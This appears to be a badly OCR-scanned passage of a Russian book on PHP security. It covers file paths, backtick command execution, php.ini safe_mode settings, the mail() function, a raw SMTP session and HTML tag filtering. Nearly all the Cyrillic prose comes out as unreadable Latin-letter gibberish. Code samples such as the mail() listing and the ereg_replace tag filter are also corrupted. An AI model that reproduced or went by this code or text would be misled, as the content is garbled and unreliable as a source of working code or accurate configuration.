3.4.2. PexomeHpauumn no 3awmre

ECH B HCTIOT3YETE B CBOWX CUEHAPHSX OGPAILIEHHS K GalTOBO CHTEN, TO YKE3bi-
BalfTe MyTh OTHOCHTEITSHO KOPHS GaiiIOBOf CHCTEMS TH OTHOGHTEbHO Tekyuieh man-
KM, HO TDH JTOM KEITEEHO HE MOTHAMATECA Ha YpoBHH bwiwe. Hanphwiep, ecin
BnOHACMb ClieHapiH HAXOMTCA B manke /var/www/html/admin, a nazo oSpauTeCs
K balkry index.php 3 nanki /var/www/html, HeTb3s THCATS OTHOCHTEAbH YT Kak
J/index.php. HGrions30Baie 1IOGTEI0BATETLHOCTEH ./ WaW ./ JOTAHO GHTh Janpeiteo,
€CTH NOLIOBATED BALETO CaiTa MOKET BTHATS KA TyTh dailna. ByiTe ocTOpORHN
npi chopamposar myre K aitnan!
B 8HHOM CTy%ac He WMEIOTCA B BHIY IYTH, AECTKO TPOHCAHHHIE B (GafizaX cueHaphes
W He HIMEHAIOMIMECA BO BpENS BHTOHEHMS. Mbi FOBOPHM 0 TX CTyNasX, KOTAR pacrio-
A0KeRHe Gaiiia HIMEHAENO H JABHCHT OT JCHCTBHI WIH TIAPAMETPOB, NEpeATRICNBIX
noms30BaTE M.

B paz0. 3.5 M 0APOGHO OBCYIMM, Kak HYAHO NPOBEPATH KOPPEKTHOCT BROTMBX
TIOTH30BTeI1eM AaHbIX. OIHIKO Bt JOTKH TIOMHHTS, HTO OTIACH! He TOEKO MOTb30-
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'BHITOTHATE KOS MOXHO ¥ G&3 KaKiX-THGO hywKbii. JI15 9TOrO KOMaHIa JOTAHE
Gurms saxonena B oGpaTHie anoCTpost (°). ITo He OAUHADHA KABHIIKE, @ MMCHHO
ofpamsii anocmpogs; Wa KIBHATYPE OH HAXOTATEA 1a KaBHLE ebee wps 1. Crie-
YiOULH TPHMEp BHTIOTHACT B CHCTEME KOMARAY s -al H BHBOIWT PERyTSTAT Ha
axpa:

print(ls - al);

O TON, KaK 3aTIDEULATS (hYHKLLIH, M1 TOTOBOPHM B pasd. 3.4.3.

3.4.3. TroHunr PHP

B ZaHHOM pasiene HaM NPEACTONT PACCMOTPETS KORHypailHORHbIE napameTpst PHP,
KOTOpHE MOFYT HOBHICHTS Ge0MIacHoCTh Cepnepa  naumx cuchapwe. JpexTmsi, Ko-
TOpHIe Mbi Gy IeM PACCMATPHBATS B ZaHHO TABE, OTHOCATES K paiity KOHGHTYpaIHH
‘php.in, KoTopsif 5 OC Linux Moo HaiiTh b Katatore /etc.

3awmwenHLI pexum

(Cawas F7aBHAA AMPEKTHBS, KOTOPYIO CTEZYET PACCMOTPETS, — sate_rode (10 YNOTHa-
HIO 3HaUEHNE AMDEKTHBHI PaBHO oc£). OHa nepesozu PHP b sauuuicHHbIH peas, nph
KOTOpOM Bce NOTEHLIHATEHO ORACHHIE onepaLtii ki sanpeuensi, Hasnax pa-
PaGATHIBATS CUEHapH/], KEAATETHO BKTIONHTS 5Ty OO, ECITH Bl CTOTKHYIHC © CH-
Tyausell, KOTIa HEOOXOIMAR BOIMOKHOCTS MHTEPUPETATOPA He PAGOTAET, MOKHO
OTKTIOUHTS JWPEKTHBY safe_rode, HO TPH JTOM CIEZYET GOThile BHHMAHHA YAETATS
6e30MaCHOCTH H (YHKLHAM, KOTOPHIE HE CMOTTH PAGOTATS B 3aLIMULEHHOM PEXHMe.

Ecin baus cuenapuii paGoTa€T B JAUEHHOM PEXHME, TO STO SHINHT, §TO HHYERO
OACHOTO B HEM He HCTIOT3YETCS, W BEPOATHOCTS GHAPYKCHHS YATBHMOCTH YNCHBIA-
€16 YXKE Cawa 110 Cee, Ak ecTi PERHM safe_rode HE BKTIONEH,

Tlph paGoTe B SAUNMLIEHHOM PEKHME PACCMOTPHTE CIEIVIOUIME AMPEKTHES, KOTOpHIE
MOTYT OHINSHTS GE3OMACHOCTS, GE3 OTICIIOMEHHA MPEKTHB sate_mode:

0 safe_mode_gid — AMPEKTHBY 3A%0ET WICHTHOHKATOp BTQETBLA WTH TPYTITS Bia-
Aenbiten Gaiina, KOTOPBIi AOIKEH COOTRETCTBOBATS WICHTHOHKATOPY MOTBI0BATENS
(w rpynnw), oTkphiBwero gain. ECTM BKTONCHS AMDEKTHBA safe mode,
sate_node_gid He BICIOYEHa, TO TPABATA A0CTYTIA CTAHOBATCA GOTice KECTKHMH —
i1 MOKET GHITH OTKPHIT, TOEKO €CiTH WAEHTHDHKATOP Brazebua daliia copnaza-
€ ¢ WieHTHDHKATOPOM nOMssoBaTes. HreHTHeHKaTOpst rpynms: mnazenbuien daiira
W TIOTH30BITETA B STOM CAYHaE He MPOBEPAIOTCA Ha COOTBETCTBME. ECTH AMPEKTHB
safe_node W safe_node_gid OTKIONEHS, TO HHKaKOA MpOBEpKi He MpoHCxOMHT. Dajin
6YeT OTKPUIT, €CiH Y TIOTH30BATEA IOCTATONHO Ipa

3 sate_mode_exec_dis — IMPEKTHBA AIAET KATAIOTH, COTEPAAILE NPOTPANMH, KOTO-
PHie MOryT Guits puimocH b cucTene. TOTEKO TIPOTPaMM I3 JTHX KATAOT0B W
TOIKGTIIONOB MOXHO MIepEnaBaTS Taki YHKLIIN, KAK systen (), exec() HT. 45

O sate_node_allowed_env_vars — JMPEKTHBE COTEPANT CTIHCOK MPEHKCOB MEpeMeH-
HBIX OKPYA€HIS, KOTOPHIE MOTYT HIMEHATBCA. T10 YMOTUAHIIO HIMEHEHHIO NOIEAET
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Hie Taliv-ayTa B CEKYHIAX JUI% TEKYWIEro Clienapws. Ceaylouuii pvep yCTanan s
et Taiiv-ayT 8 10 Mtky:

set_tine_out (600)

Ho crukom Gonbiof CIHCOK PACCHLTKH IPHBOIT H K ellie OTHOH MPOGEME: pacceul-
Ka HOBOCTER — 3QHATHE He W) JTKHX, TIOTOMY TO TIOMHMO NPOLIECCOPHEIX PECYPCoB
TPEGYIOTCR W ceTenbie. B pesyabTaTe TOMIBOIMTENHOCTD CEPBEPA MOKET CEphesHo
ynacs. Bee pecypchi BpAZ M BaM YIACTeR H3pacxoopah, eab OC UNIX n Windows
ABIAIOTES MHOTOSAIAUHBINK, T. €. MOTYT BHTIOTHATS HECKOTHKO 3134 OTHOBPEMEHHO,
HO MPOHIBOAHTEbHOCTS 0GPAGOTKH Web-3aIpOCOB MOXET yacT.

[EC1H BaUl CuLEHAPHH JOTKEH PETYIAPHO PACCHUTATS STEKTPOHHHIE TIONTOBE COOBIIEHHS
10 GOTBLIOMY CIIHCKY, TO MOKHO BHHECTH PACCHUTKY Ha OTIESHbH ceppep. B onperte-
TeHHbH MOMEHT BPEMEHH CTIELHQTEHO TIDETHATHAYEHHEIH CepBep 1A PACCHUIKH 3a0H
€T CIMCOK IOTH30BATEAEH WIM TIOTYHAET €10 ¢ MOMOILIO FANPOCa K Gase AHHHX H He-
IOCPEACTEHHO PacchiTaEr cooGuIeHHA.

5.7.3. CoeauHenve c SMTP-cepsepom

B paso. 5.7.1 b ysmanw, uTo Ama OTipaBKk# coolueHHA HeoGXomm SMTP-cepacp. Ho
YHKUAR rail() HE MPEIOCTABIACT BaM COCOGE YKASAHHA CEPBEPA, KOTOPHIH HYHO
VenoI08aTH 118 OTTpaBKI cooGUICH, 1 NAPAMETPOB AocTyTa K Hewy. Bee ot
TIPOCTO — b php.ini €T PasaEn (nail functions], T HACTPAHBAETCA CepBep, KOTOpHi
(GYIET HCIOAB3OBATECA 1A OTIIPABKH COOGIIEHHH:

nai1 function]

; For Win32 only. (Tonsko xna Windows)

SurP = localhost

§ For Win32 only. (Tomsxo ana Windows)
sendnail_from = me@localhost..com

5 For Unix only. You may supply argunents as well

i (default: 'sendmail -t -i%).

7 Tonuko m1s UNIX. B moxere Taxee yKasats aprysenss
(o yuomiasuen scronsayerca kouanza *sendnail -t i)

+sendnail_path =

C MOMOIISIO NAPAMETPOR ST I sercinail_fxom MOHO JAETH NI3pAMETPHI CepBepa, €CTH
B paGoraete B Windows, a ¢ OMOUIHO sendsail_path JATETCA OCTYM K MONTOBOM
cayxoe B UNIX.

B OC UNIX camsin nOMyI#pHbM CrIocoGOM OTIIpASKH TIONTH ABTAETCA MPOTPaMMA
sendmail. Ho, HECMOTDA H TO, 'TO MMA MPOTPAMMEI COBMIATACT © HMCHEM MapaNCTPa
sencuail_path, Bbl MOKETE YKAJHIBATS H 710GYI0 APYTYIo mporpamiy. Hioe 1710, 4To o
YMOTHAHHIO HCTIOTH3YETCA TIOKATSHAA MPOTPaNMa Sendmal, W eCiH Bbi XOTHTE 3T0 13-
MeHHTS, To yKaKWTe monHbIH YT K HyHOMY SMTP-cepaepy. Creayiouunii npviep
"NOKASHIBAET, KAK 01T qmail B KaHECTBE NpOrPAMMB OTIDABKH COOGULEHHH:

sendnail_pathe/var/quail/qrail-inject
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'V yHKLUHH HETHIpE NIBPAMETPS, TPH 3 KOTOPAIX ABTSIOTCH OGTIATEBHBINM:

O anpec snexTponHO} MONTH MOTYSaTENA CooGienH. ECTH HEOGXOMMO HATpABHTS
THCEMO HECKOTEKMM TIOMYSATE/M, TO WX apeca JOTKHb GBITh MepeswcreHsi
B CTPOKe Hepes sanaTyIo;

O Tema mmcoma;

O Texer cooGutenns;

O nonomTensHsie saronoki cooluenws. TIpesiIyIIHE NAPAMETPH NOIBOTSIOT 30-
AATH TOTLKO OCHOBIHE CBOFICTBA MHCHMA, HO X B HawHOrO Gonbie. Jlonok-
TenbHbe CBOACTBA YKABAIOTCS B TIOCTEHEM NIAPANETDE  PYIEASIOTES CHMBOIAMH
Kot CTpOK¥ H niepesoza Kaper (CR 1 LF).

B AMCTHATe 5.5 TIOKaSAH MPHMEp OTITPABKH COOBIIEHI © MOMOIIEO GYHKIH nail ()

i 5.5, pwop ormpamen nowras 1

<aphp

1/ Tororonxa nepeseras

SMailfo = "recipientnail_server.con";
SMailsub) = "0 Tea coodmeia”;

$MailFrom = "your_namelyour_server.con”
$4a11CC = "nane18imail_server. con, name2€dnail_server,con";
SExtra = "From: SMailFrom\r\nCe: SMailcc:

1/ Ormpasea nowns
if (nail(SWailTo, SMailSubj, "Teno cootwenna®, SExtra)) (
Print ('Cootmere A% SWailTo yaauwio omnpasneHo’) i

)

else (

print (*Omecwal) ;

)

>

ECTH Bl CO3IAETE CHCTEMY PACCHITKH HOBOCTER, TO TIEPEL BAMH MOXET BOSHKIYTh 01
HA CepBESHAR MpOGIEM: IPH GOTLIION CITHEKE PACCHUTKA MOKET SaHAT CHIIKOM MHOTO
Bpeveitn. G BNOTHENHE CUCHSPHA HE YAOKHTCA B 30 cekyIA (9T0 IHaieine yeTa-
HOBTEHO B KaHECTBE MAKCHMYM 110 YWOTHaHKIO), TO €ro padora Gyaer npepeara. Ha
IPAKTHKe OKATHIBAETCA, 1O TpH CTHCKE pacchurkk B 1000 sanvceit 30 cekyma He Xpata-
€T, N03TOMY HEOGXOMMO YBETHHTS BPEMS BHITOTHEHWS ClIeHApHA.

FIsMEHATS KOHQHTYPALIIO WHTEPIPETATOPa B AQHHOM CTyae GYIET He OYeHs XopoiHM
petmenmen. Ecin Taliu-ayT CIMIIKOM GOTBIIOR, TO B CHCTEME MOXET OKASATHCA MHOTO
SAUNKTHBUINXCA CUCHAPHEB, KOTOpHIE GY/YT PACXOAOBATS MPOLECCOPHOE Bpews. Jlyd-
LM BAPHAHTOM GYAET YBeHSHTh Taliv-ayT /1% OTIPEAEIEHHOTO ClieHapws. JUix 7T0ro
MOXHO BOCTON3OBATLC (BYHKIIMEH set_t ime_ont (), KOTOPOH NEEAAETCA HOBOE SHAte-
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'XOPOIIO TIPOCTO BOCTIOTB30BATLES YA HMEIOLIAMCA KOTOM H TIOJIEPAHBATS €10 TOTHKO
B oTHOM MecTe.

B, HaBepHOE, He a3 CTHIIATH O AMHAMHIECKHX GHGAHOTeKaX Windows. 7o GGmo-
TEKH, B KOTOPHIX XPAHSTCS PASTHHHIE PECYPCH! (KAPTHHKH, SHIHKH, GOPMbI AHATOTOBBX
‘OKOH, MeI1O 1 ZpyTHe THITH pecypeos) WiTH Kox Mporpasi. JoGas mporpava wo-
e 3arpySHTS 9Ty GHOTHOTEKY 1 HCIONB30BATS € CorepAnmoe. Hanpiwiep, OpenGL —
rpagHccKas GHOTHOTEKS, B KOTOpOW XpaHATCA YKL 1A cosaans SD-rpadpki
npaKTHeckn 0GOfi CAOKHOCTH. TIPOTPAMMHCT MOXET SarpySHT STy GHGTHOTEKY
B NAMATS KOMITBIOTEPa  HEIOTL30BTS B CBOWX MPOEKTax. Taksm OGPAION, He HAIO ATA
KaKZ0/i TOTPMM! 3AHOBO TTHCATS KO TPAHIECKIOX BYRKUH, & MOKHO BOGIIOABI0-
BTHGA TeM, HTO YA XOPOLIO CIENAHO JPYTHH PAa3pAGOTHHKAMH,

TIpi mporpasHpoBarHi Web-CTpaHyiL MPOGTEMa MHOTOKPATHOTO HCIOTKIOBaNHA K0T
cranonTes eme Goee ocTpof, Bau caT MOKET ConepAaT COTHIO (ailion ¢ KOIOM,
IMCATS B KIZIOM M3 HHX OZIHH W Te KE KOMAHIHI HEYA0GHO H HEpAUHORATHHO. Dailiit
GYIYT MOTYHATLCA OGHEMHEIMH, & COMPOBOKIEHHE GOTHIIONO KOTHYECTSa Gaiion npe-
BpaTiTCs B cyuui ax

Muorokparsoe ucrionssosaie koza b PHP peatiionano 4epes noakmosenwe Gainos.
Tomkmodervie Gaion MOXHO BOCTPHHHMATS  KaK €Ul OTH CriocoS bieaperns PHP-
Kona b Web-crpanhy. JUTa STOTO HCTIOMb3YETCS GYHKINA include (), Y KOTOpOH €cTh
HETHIpe PATHOBHIHOCTH:

include(*/£ilepath/filenane’) ;
include_once("/£ilepath/cilenane’) ;

require(*/filepath/filename’);
require_once("/Filepath/Filenane’)

Bee 5TH yHKIHH TOAKTIONAIOT YKasaHHil B CKOGKAX (baiin. B MPEABYILINX BepoHX
Ghna neSombumas pawAua B ckopocTH paboTh Medy dyHKAIMH include()/
include_once() W requize ()/cequire once ). B HACTORUCE BPEMS CYLIECTBYET PATHHLA
TONbKO B reHepHpYeMBIX owmMGKa. lepabie 1me dYHKINH MPH OGHAPYKEHHH OUIHKIH
(HanpHMep, OTCYTCTRYET MoAKTOUAEMHH (palin) BHLABIOT NpETyTPEAICHHE W MPOROT-
KBOT BHITIOTHEHHE ClUEHAPHA. DYHKIAH requice (/xequire_once () BBUIAIOT COOGUICHHE
O KpHTIECKOH OLIHGKe, H TATbHE AR PAGOTa TPEPHIBACTCA.

PasHyIia MEKIY include (/xequize ) H include_once ()/xequixe_once () COCTONT B TOM,
uTO BTOpas Napa (yHKINH FapaHTHPYET NOIKTIOUEHHE YKAIAHHOrO (aiina K TeKymiemy
aliny Tonbko oz pa. HHOTAR 970 GHBACT HEOGXOAMMO, TOBH ABZAABI HE NOKIO-
s, §ali ¢ KPHTHYECKH BOKHBIM KOTOM, KOTOpI| JOTIAH GHITh TOTHKO B EIHHCTBEH-
HOM sKsemnApe. K Takomy Koy orwocaTes PHP-yHKLLH Wik riepemerie (3T Temy
MBi PACCMOTPHM TIO3iee), KOTOpHE He 0TI GHiTh OGLARTEHE ABAAH. ECTH B MO-
MeHT MOAKTOSEHHA Galina ¢ IOMOUIbO GYHKINH include_once () WIM requize_once ()
OGHApYKHTES, 4T (Gail Yxe NOTKTIOUATCA, TO GYJET CreepHpoBaNa GaTatbias owHGKa.

GYWKIINO §nclude () TyUE HCTIOTHIOBATH ATA MOTCTIONCHHS HaCTEH JOKYNENT, T. €.
ainon, coxepwaunx HTML-xoa. Hanpiwep, pasbizie 61 pacipocTparieh criocof Ae-
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5.7.4. 5e30NaCHOCTb 3MEKTPOHHOW MOTOBOM CAIYXGHL

TIpOrpasMUpy3 cueHapHii PAGOTH ¢ COOGUICHHANH STEKTPOHHON IONTH, HYAHO GBTh
MPEACTBHO aKKypaTHBIM. B OTAMNHE OT BIOMA CAMOFO CEPREPA, CYUECTBYET OMECHOCTH
TOTO, HTO XaKep BOCTIONB3YETCA BAILIMM CUEHAPHEM 1A PACCHLTKH CTIAN 110 BALIENY XE
CrHeKy paccsuTk. O1a TaKas PACCHUIKE MOXET NOCTABHTS GOTSIIOH M KHPHBIH KpecT
Ha paseHTHH CaiTa W Wa GyIYWleM BAUIETO CepBepa. B HACTOALIee BPEMA OTHOUEHHE
K ClaMy HETATHBHOE, H GOTBIIMHCTEO MOCETHTEIIEH TAKOH OUIHGKH He NPOCTHT.

HroGu 06e30nacHTs ceG3 OT BIONA, HEOGXONMO MpABKTEHO HacTpoWTs SMTP-cepep.
ECIH OH MOSBOTAET OTPAHHSHTS KPYT CHCTEMHEIX MDOTPAMM, KOTOPHE MOAHO 3aryc-
THTB, TO HEOGXOHMO ¢S 570, HAmpMep, b KORDHTYpAUIAH MOKET GhiTh 3aan K-
TAIOT, TaK STO TOTHKO MPOTPAMMHI 13 JTOTO KATATOTa GYIYT 3amycKaThes w3 sendmail,
‘CACAYET BOCIONB30BATES STHM NAPAMETPON, & B KAYECTBE PATPEUICHHBIX AOTAHS GbiTh
TOMBKO Ge30MacHE MPOTPaNNH, KOTOPE He TIOJBOTT AIONATS CEpBEp.

Tlowio sauumst camoro SMTP-cephepa, HEOGXOINO aKKYPATHO OGPALIATECA 1 ¢ 1O~
TyuaeMuMH ClieHaphem mapaveTpaw. B pao. 3.6.2 Msi pacevaTpBa perynspHoe
BLIPAXCHHE, © MOMOLIIO KOTOPOTO MOHO IPOBEPHTS JIEKTPOHHHH ATPEC HA HATHIHE
HEZOMYCTHMBIX CHMBOI0B H HCTIONB30BAHHE HEBEPHOTO GOpMATa apeca.

5.7.5. TTpou3eoAUTENsHOCTL OTNPABKM NOYTHL

OREPaLLAA OTNPABKH NONTH TPOHEXOIHT ZOCTATONHO MEMIEHHO, H OTIACTH 9T CHRIIHO
 Cam IPOTOKOTIOM OTTpaBKiH MONTSI. Kak Mt YBWIEAH Bbilie, MPOTpaMNE NPHXOT-
4 He TOTbKO COETUHHTLCH C CEPBEPOM, HO  OTTPABHTS HECKOTHKO KOMAHIL H NI0SAE K-
10K AOKHIATHCA OTBETa CEpBEPa.

Jlomycrim, o nu paGoTaere nax cafitow, rae Tpebyercs pernctpamis. Tlocre perwcr-
PaIAM BB XOTHTE OTPABNTE MOTB3OBATEN0 €-mail-cooGutenme "JIo6po MOKAIORATS"
HTH, MOAET GbITS, THCHMO LT3 MOATBEPAIEHHS NONTOBOTO UK. HHOTIa Ghibact Tak,
470 calfy oTTpARASIOT cpasy 0B cooGuIEHHA

ECTH NPEICTABATS, 4TO PETHCTPAIINS OTHHMAET | CeKyHaY (TpOCTO MpEACTABHM Canili
ykacHuii BapHaKT) W OTIpaBKA KaAOro €-mail TakoKe OTHAMACT 10 | Cexywne (Bnone
PEATHO), TO CEPBEPY TOKO 1A OGPAGOTKH IaNPOCa Ha PETHCTPAIIAIO OHATOBHTCA
3 cexynasi. TIpHGabum Bpews Ha OCTABKY PERYIBTATA CTDAHU H BCEX. DECYPCOB,
TIOTHI0BATEA MOKET IOKWIATEC OTBETA S CexyNI W Gonbiue. B Haule Bpew, Koraa
IGHHBIE IEPEABIOTES HO HEBEPOTHO BHICOKHX CKOPOCTAX, TAKAR JAEPAKE YAE BHIIA-
20T A3 nOMs0BaTEACH Kak 3aBMCAHHe.

A HYHO T OTIDABTATS €-mail b peaTsHOM BpemerH? UTO CTYNHTCS, €CTH M A08Ta-
BM CHAYATA CTPAHMLLY, A NOTOM YA OTIpaBAM €-mail? Jla HHYErD, MOTKIOBATED CO-
BEPUICHHO HE JAMETHT PAHHII B ToM, KOTA@ AOCTARTCHO MHCHMO, HO BOT TO, 9T OH
BT CrpaHMLLY, NOXTBCPAIAIOLIYIO YIQHHYIO PETHCTPAILIIO MTHOBCHHO, CACAACT GalfT
Gonee yobmm.

'KOraa MHe HYXHO OTTIPABHTS MEKTPOHHOE COOGIIEHHE, % HHKOTA HE AENal0 570 B pe-
ATLHOM BpENEHH. BMECTO STOTO 3 COXPAHAIO HCHMO B Gae JGHHBIX H COVIAI0 MPO-
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ECAM IHCEMO JOTKHO WMETS TEMY, TO S1ech HYKHO TIepeciars creylouH Tekcr:
Subject: Tewa mrcia

Jlanee wyxtio yKasars KOTMPODKY ZA TEKGTa coobienHs. B AaHHOM CTyHaE Mbt 3T0 K-
aew Tax:

sMime-Version: 1.0
>Content-Type: text/plain; charset="us-ascii

‘Terept, MOXHO NOGTPOUHO HepeAaBATS TeKCT CoOGIEHIA
Tlocae sabepuicHys Nepe1a«h MOXHO BAIATH 3 CHCTEMB € TOMOULBIO KOMAHIN QUTT.

B a6 5.1 nepesmcnens: ocwoswsie komaas SMTP-cepacpa, mpuwensenie s or-
IpABKH TPOCTOTO CooGuEIMA.

Tatnuua 5.1. Komandei SMTP-npomoxona

Kowawaa | Onmcanwe

e VaewTupupyeT nonsaosarens wa SMTP-cepaspe. 1locne KoMaHAs HELO yiaser
536708 WA POKAMLHORD KOMNOTEPa.

WAL Hasano nepeaa« coobiiews. 4aule Boero 3Ta KOMaNAA BSTAANT KaK VAT FRCH
<etrail.ru>?, 130 oémail. ru — 310 agpes oTpasTens

Vaeurdnunpyer nony-arenn coobuiennn

Hasano Tena cooGuiewss. M16peRaa AawHux 3306pLIAETCA N0CTEA0BATENSHOCTH.
OMMBONOB <CR><LE>  <CR><LE>

(Oruena sunonwers Texyuied onepatn

Ha 3707 3anpoc cepeep pOcTO oTaeTHT cooGulenveM CK. 3T0 HEOSXOAMMO AN PO~
5epIM CoRIA T A7 IDOAEKNS G CORHCA ECAH B TOUGHAS OMPEREOHHOTD
'8pewen He NOUBBORUTS OCMEH COOBLIEHARMN C CEPBEPOW, TO CEPBEp MOKET
a30DBATL CoepvNeNE, 3 T KOMBMAA NOSBONAET NPOAENOHCTPMPOBATS AXTHS-
HoCTs. Torga cepaep CEROCHT CHETWAK C Lol W BDEMA NPOCTOR HaHET OTCHMT-

wrr Buron
e Tlo3s0nReT NonyTs CrpasKy o AOCTyTHelX KOMaNAZX

Tlonwyio WHPOPMALIIO 110 HCTIOTSIOBANHIO MPOTOKORA MOAHO MpoWKTT B RFC-821,
2 HaM IOCTATOHO W ITOTO.

TIOCTo pai TPeRPOBKH MOMPOGYHTe COSAATS PEATHIAIIIO OTAPABKK TONTH HATPS-
MYK0 4pe3 TOAKTIOUEHHE Ha TIOpT 25 W OTTPABKY HEOGXOMMBIX Kowai. YGenwtech,
10 370 He crowmee, wew covianme FTP-ciwenta.

5.7.2. Byukuma mail()

JlnA OTIPABKM 31EKTPOHHOM NIONTH OYEHb HACTO HCTIOMBIYETCA CHCTEMHaR (ByWKLAR

rail(), KOTOpas HMECT CreAyIouIHii B
boolean mail(to, subject, body (extzal)
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From: <vasyatpupkin. ru>
To: <horrifictvr-online. ru>
Subject: Tewa cootames
Mine-version: 1.0

Content-Type: text/plain; charset:
%0 recronce cootuene

250 0K 1de1BKhOA-000EKB-05.
qurr
221 smtp.asanst.zu closing commection

B ZaHHOM TIDHMEPE CTPOKH, HASHHAIOWIIESS ¢ CHMBOTA >, OTOGPEKEIOT HHOPMAILAIO,
KOTOpYIO Mt OTTPABIAEM CEPBEPY, a CTPOKH, HASHHAIOUIHECA C CHMBOTA <, OTOGPAXIOT
MEGOPMALIIO, KOTOPYIO M1 TOTyaew. Ha KEKIYIO KOMAHLY CEpBED OTBCHAET Hab CO-
ofieiiten, KOTOPOS HASHHAETCA C YHCTOBOTO KOMA, OTOGPAKAIOUIEND CTATYC BHTIOTHE-
s, TIOGAE ITOFO WIET TEKCTOBOE ONHCAHHE PesysTaTa. HATDHMEP, Mocie coeamHenHs
 cepaepom wet nonysaen or SMTP-cepaepa cTpoky:

220 Hpopuas o copsepe

Coobimenns ¢ konom 220 FBTAIOTCS WHGOPMAHORHEIMMH, B TarHOM cywac cooBierme
PHXOINT B OTBET Ha MOTIKTIONEHHE W, HAlle BCErO, TIOGTE KOXA COTPAHT CEIEHHR
o ceppepe, Hanpunep:

220 your_mai1_server.com ESWT? Sendnail 8.9

B ZHHOM CTy4ac Ham COOGILAETEA, IO C1YKBa PAGOTAET N0 YNIpaBIEHHEM Mporpan-
Mo sendmail epeii 8.9. B HACTORILIEE BPENA YKE MATO KTO COODULAET CBOE HMS H Bep-
0, TIOCKOIBKY 0TS B 3Tt MHGOpMALIHH HET HKAKOF.

‘Tereps HEOGXOTHMO NI03A0POBATECA C CEPBEPOM K COOGIINTS €y CBOE HMA. JT0 KeTa-
€TCA C MIOMOMIIO KOMAHI HELO nocebook. B AGHHOM CIYHae notebook — HMA MOETO.
KomnbioTepa. Ha 370 cepbep OTBEHAET COOBILIEHHEN ¢ KooM 250  CBOHM A1PECOM.
Jlanee nOckAAEM AIPEC OTIPABHTEAS (MATL. FROMH: <vasyalpupkin. ru>) W AIPEC MOTYHa-
Tenk (RCPT TO:<horrificave-ontine. rus). Ha 0Ge KOMAHIM CepBep MOTKeH OTBETHTS
cooluieHmAMH ¢ Koow 250.

‘Teneph MOXHO COOGUINTS CepBEPY, 'TO ZAThiIE CAEAYET TeT0 MHCoNa. JL1A 3TOro Mock-
Taen KoMakzy DA7A. TIOCTe STOrO HAHHHAETCR Te/O MHCHMA, B KOTOPOM CTIEPBa WIET 3~
FO/I0BOK, 8 TIOTOM YK€ TeKeT coobumerns. Ha Bce OTIDABAEMHIE Tereph AaHHHIE CepBep
He GYZeT OTBEHATS, I03TOMY MOXHO He MOKHIATSES OTBeTa. TEN0 MHCEMA IabepUIACTCR
KOMAHIOH <CRo<LE> . <CF><LE> (KOHELL CTPOKH, TIEPBOA KAPETKH, TOUKA, KOHELL CTPOKK,
Tepenon KapeTkw). Ceppep JOMKEH Hau OTBETHTH cooGutenveM ¢ Konom 250. Ho Mt
TIOKa He Gy1em HHYErO 3abepuIaTh, & TIOCMOTPH, “TO HAXOIHTCA B TE.

B 3A70H0BKE Mbi CHOBA YKAJHBAEM AIPECATa H TIOTyHaTeTA

From: <vasyagpupkin. ru>
Toschorriicev-online. ru>
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‘Tenteps TIOTOBOPHM O ToM, KOT1a HYJXHO TPOVIBONTS MPOBEPKY napaverpos? Ha sror
BOMPOC A BCETI OTBeYaI0 TaK: "1 MPEATONHTAI0 30 AETATS B CamoM Hasare pafina cuie-
HApHA W Cpa3y e TH NIOTy ey AarHX". He OTKTATHBHTE Ha TOTOM T0, 70 MOKHO
cxenars cpasy we.
‘ONeHs, MHOTO BOSHHKGET YASBHNOCTEH, KOTa TIpOTPAMMHCTH B CBOSM KOTE YGHpaior
WUIHHE CHWBOTH TOTHKO B MOMEHT HCMOTb30BaHiA. HO OIHA TIEPEMEHHAS MOXET
BCTPENATECA B CLUEHADHM HECKOTBKO Pas,  GBLH GITYaH, KOFAA B OTHOM MECTe po-
TPAMMHCT ONHLLT TICPEMEHHYI0 OT OTIACHEIX CHMBOOB, & B APYFOM 3A0HIBA ITO Clie-
7aTh. YroGhl TAKOTO HE MPOMSOLLTO, A BCETAA ONHILAIO TIEPEMEHHBIC OT THIIHAX CHMBO-
108 B cawow Kasane cuenapks. To ecT MOFi CLiEHapii BHITIAIT CACAYIOUIAM 05pIION:
<zphp

Yevpaeu norenzyamo onacie cAMBOmS i3 BCeX nepeMENIEX,

Tanyvesan or namssosarens

Kox cuenapis

B AGHHOM CTyae T CUEHAPHEM A TIOHMAI0 He }alii ¢ KOMOM LETHKOM, a GoTbite Me-
TOR. 310 calfTht #3 OTHOF-IBYX CTPAHHLL, KOTOPHIE MOTYT COTEpIATS BCe B OTHOM ait-
7. A B PEATEHOCTH Halite TPWXOIHTCA THCATS GOTbLINE CAiTHI, 16 KOX HYAHO KaK-TO
IPYINHPOBATS, COYIABATS KIGCCH W HCTIOMEI0BATS NATTEpHH THITA MVC, B KOTOPHIX K01
oTaenserca ot npezcTamiess. TI0Ka Mt MHuIeM HEGOTBIIME TIPHMEPE, MHE MPHXOLHTCS
718 3KOHOMHH MewnpaTs PHP-Kox ¢ HTML B 01HOM dpaine, ToGsi mpHMEpb: BBirs-
2€7H Kk MOXHO npoLte.
WraK, OMYCTHM, WTO Y MeHA Ha caiTe €cr jopwa OGPATHAR CBb, HEPEs KOTOPYIO
TOTBSOBATENH MOTYT OTHpABIATS Mie coobuienns. B PHP-xone coytaw inace
Contactsiodel, OTBeNAIOUH 3 OTIPABKY CooGuEHIH, H B HeM GYAeT MeTox THIE
Sendbtessage. B 5TOM METOIE B CAMOM Havare % KAK pas  Gyay A€NaT BCe MPOBEPKH.
Kon Gyzer pHiraneTs npimepHo Tak:
<z
class ContactUstodel (
public function validate() {
R Y p——
71 Hanprmiep, ecnn nonuaosarems momsen ykasars caoh e-mail,
/1 %0 cront mponepite, wro v e-mail KoppexTiad dopuar.
)

public function Sendessage()
if (sthis>validate()) (
11 3nece cyzer ompaska cootaewns.
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W Ha MECTE, W TOCTORHHO BOIHHKAIOT BCE HOBHIE TerH, KOTOpHIE MOTYT CTATS ONACHBIMMH,
2 OHM OTCYTCTBYIOT B BallleM PEryAPHOM BIPAKeHHH. HaMHOrO Npolie 3anpeTsTs Boe,
KPOME ABHO YKA3HHOFO:
<zphp

Sstr = "<I><STRONGHello <B> Horld<SCRIPT>";

$str-ereq_replace ("<[BIU1>", ™, $stx)

print(ssto)

B 570w npiwepe sanpetactcs mioGoM Ter, kpoe <5, <1 K <U>. Ecnn b HTML nossr-
S HOBBIF Ter, To 110 YMOTHAHHIO OH GYIICT 3aMpEIICH, 1IOKA BBl €10 He A0BIBHTE b BHP:
e (*510)

JUTA TOTO TOGH! TIOHSTS, 4TO PHIKTPOBATH, HEOGXOIHNO HETKO MPEAICTABIATS CEGe, 1O
